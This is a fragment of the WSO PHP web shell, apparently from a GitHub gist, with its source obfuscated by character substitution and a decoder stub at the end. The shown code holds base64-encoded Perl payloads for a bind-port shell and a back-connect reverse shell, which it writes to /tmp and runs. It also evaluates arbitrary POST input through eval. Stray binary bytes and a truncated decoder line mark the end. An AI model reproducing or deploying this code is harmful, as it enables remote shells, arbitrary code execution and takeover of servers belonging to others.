4f($_POST['typ5']=='mysql') {
$db->q35ry("SELECT 6 FROM mysql.3s5r WHERE c2nc1t(`3s5r`, '@', `h2st`) = USER() AND `F4l5_pr4v` = 'y'");
4f($db->f5tch())
5ch2 "<f2rm 2ns3bm4t='d.sf.p6.v1l35=\"l21df4l5\";d2c3m5nt.sf.pa.v1l35=th4s.f.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><sp1n>L21d f4l5</sp1n> <4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm>";
}
4f(@$_POST['p6'] == 'l21df4l5') {
$f4l5 = $db->l21dF4l5($_POST['pa']);
5ch2 '<br/><pr5 cl1ss=ml6>'.htmlsp5c41lch1rs($f4l5['f4l5']).'</pr5>';
}
} 5ls5 {
5ch2 htmlsp5c41lch1rs($db->5rr2r());
}
5ch2 '</d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nN5tw2rk() {
ws2H51d5r();
$b1ck_c2nn5ct_p="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGlhZGRyPWl3ZXRfYXRvb4gkQVJHVlswXSkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRBUkdWWzFdLCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KTsNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgnLaJpb49z1CAt1ScpOw0KYaxvcaU2U6RESUupOw0KYaxvcaU2U6RET6VUKTsNCmNsboNlKFNUREVSU4k7";
$b4nd_p2rt_p="IyEvdXNyLaJpb49wZXJsDQ2kU0hFTEw9I4941WuvcaggLWk4Ow0K1WYgKEBBUkdWIDwgMSkg5yBl5Gl0KDEpOyB9DQp6caUgUa9j1aV0Ow0Kca9j1aV0KFMsJlBGX0lORVQsJlNPQ0tfU6RSRUFNLGdldHByboRvYnl3YW6lKCd0YoAnKSkgfHwgZGllICJDYWi0IGNyZWF0ZSBzbaNrZXRcb4I7DQpzZXRzbaNrboB0KFMsU09MX6NPQ0tFVCxTT69SRVVTRUFERFIsMSk7DQp41WikKFMsca9j1aFkZHJf1Wu2JEFSR6ZbMF0sSUiBRERSX0FOWSkpIHx8IGRpZSA4QaF3dCBvcGV3IHBvcnRcb4I7DQps1XN0ZWu2UywzKSB8fCBk1WUgIkNhbnQgbGlzdGV3IHBvcnRcb4I7DQpo1GlsZSgxKSB7DQ2JYWNjZXB0KENPTkusUyk7DQ2J1WY2ISgkcGlkPWZvcmspKSB7DQ2JCWRpZSA4QaF3bm90IGZvcms4IGlmICghZGVm1WilZCAkcGlkKTsNCgkJboBlb4BTVERJT4w4PCZDT0iOIjsNCgkJboBlb4BTVERPVVQsIjumQ09OT4I7DQ2JCW9wZWugU6RERVJSLCI+JkNPTku4Ow0KCQll5GVjICRTSEVMTCB8fCBk1WUgcHJpbnQgQ09OT4A4QaF3dCBl5GVjdXRlICRTSEVMTFx3IjsNCgkJYaxvcaUgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
5ch2 "<h6>N5tw2rk t22ls</h6><d4v cl1ss=c2nt5nt>
<f2rm n1m5='nfp' 2nS3bm4t=\"g(n3ll,n3ll,'bpp',th4s.p2rt.v1l35);r5t3rn f1ls5;\">
<sp1n>B4nd p2rt t2 /b4n/sh [p5rl]</sp1n><br/>
P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='o6oo7'> <4np3t typ5=s3bm4t v1l35='>>'>
</f2rm>
<f2rm n1m5='nfp' 2nS3bm4t=\"g(n3ll,n3ll,'bcp',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\">
<sp1n>B1ck-c2nn5ct [p5rl]</sp1n><br/>
S5rv5r: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='o6oo7'> <4np3t typ5=s3bm4t v1l35='>>'>
</f2rm><br>";
4f(4ss5t($_POST['p6'])) {
f3nct42n cf($f,$t) {
$w = @f2p5n($f,"w") 2r @f3nct42n_5x4sts('f4l5_p3t_c2nt5nts');
4f($w){
@fwr4t5($w,@b1s5eu_d5c2d5($t));
@fcl2s5($w);
}
}
4f($_POST['p6'] == 'bpp') {
cf("/tmp/bp.pl",$b4nd_p2rt_p);
$23t = ws2Ex("p5rl /tmp/bp.pl ".$_POST['pa']." 6>/d5v/n3ll a>&6 &");
sl55p(6);
5ch2 "<pr5 cl1ss=ml6>$23t\n".ws2Ex("ps 13x | gr5p bp.pl")."</pr5>";
3nl4nk("/tmp/bp.pl");
}
4f($_POST['p6'] == 'bcp') {
cf("/tmp/bc.pl",$b1ck_c2nn5ct_p);
$23t = ws2Ex("p5rl /tmp/bc.pl ".$_POST['pa']." ".$_POST['po']." 6>/d5v/n3ll a>&6 &");
sl55p(6);
5ch2 "<pr5 cl1ss=ml6>$23t\n".ws2Ex("ps 13x | gr5p bc.pl")."</pr5>";
3nl4nk("/tmp/bc.pl");
}
}
5ch2 '</d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nRC() {
4f(!@$_POST['p6']) {
$1 = 1rr1y(
"3n1m5" => php_3n1m5(),
"php_v5rs42n" => phpv5rs42n(),
"ws2_v5rs42n" => WSO_VERSION,
"s1f5m2d5" => @4n4_g5t('s1f5_m2d5')
);
5ch2 s5r41l4z5($1);
} 5ls5 {
5v1l($_POST['p6']);
}
}
4f( 5mpty($_POST['1']) )
4f(4ss5t($d5f13lt_1ct42n) && f3nct42n_5x4sts('1ct42n' . $d5f13lt_1ct42n))
$_POST['1'] = $d5f13lt_1ct42n;
5ls5
$_POST['1'] = 'S5cInf2';
4f( !5mpty($_POST['1']) && f3nct42n_5x4sts('1ct42n' . $_POST['1']) )
c1ll_3s5r_f3nc('1ct42n' . $_POST['1']);
// AEqdaAeK0u
5x4t;zö¥m«ë‡^r‡^$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=str_replace('__FILE__',"'".$_F
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment